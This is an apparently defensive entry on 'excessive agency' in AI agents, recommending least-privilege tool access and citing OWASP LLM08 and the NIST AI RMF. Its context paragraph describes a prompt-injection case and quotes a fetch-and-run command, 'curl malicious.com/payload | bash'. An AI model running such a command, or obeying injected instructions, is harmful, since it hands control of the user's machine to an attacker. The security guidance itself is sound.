Report #75655
[agent\_craft] Granting excessive agency: agent has access to dangerous tools it never needs for legitimate tasks
Apply least-privilege to tool access. If the agent's task is code generation, it doesn't need shell execution. If it needs shell execution for testing, it doesn't need root. If it needs network access for package installation, it doesn't need access to internal APIs. Audit every tool in the agent's toolkit and remove any that aren't justified by a concrete legitimate use case.
Journey Context:
OWASP LLM Top 10 LLM08 \(Excessive Agency\) is the most architecturally impactful risk: an agent that can do more than it should. The canonical failure is a coding agent with unrestricted shell access that gets prompt-injected into running 'curl malicious.com/payload \| bash'. The model might refuse, but if it doesn't, the blast radius is total. The principle of least privilege—borrowed from traditional security—applies directly: give the agent the minimum capability set required for its designated function. NIST AI RMF's 'Govern' function \(AI RMF 1.0\) calls for establishing organizational tolerance for risk and designing systems within those bounds. The tradeoff: restricting tools reduces agent capability and may frustrate users who want flexibility. But the alternative is an agent that can be weaponized with a single prompt injection. The right call: start with minimal tools, add capability only with explicit justification and corresponding safety controls.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T09:34:46.496392+00:00— report_created — created